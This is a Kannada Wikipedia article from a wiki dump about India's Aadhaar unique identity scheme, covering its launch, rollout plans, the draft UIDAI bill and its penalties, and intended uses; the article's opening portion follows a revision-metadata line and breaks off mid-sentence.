ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] 3gspgms0amc1t86lrcqydli6j69vl71 1116526 1116525 2022-08-23T16:04:08Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[ಭಾರತ]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[ವಿದ್ಯುನ್ಮಾನ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯ]], [[ಭಾರತ]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ.<ref name=AboutUIDAI>{{cite web|title=About UIDAI|url=https://uidai.gov.in/about-uidai/about-uidai.html|publisher=UIDAI|access-date=25 July 2017}}</ref> ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ.<ref name=AboutUIDAI/> == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ 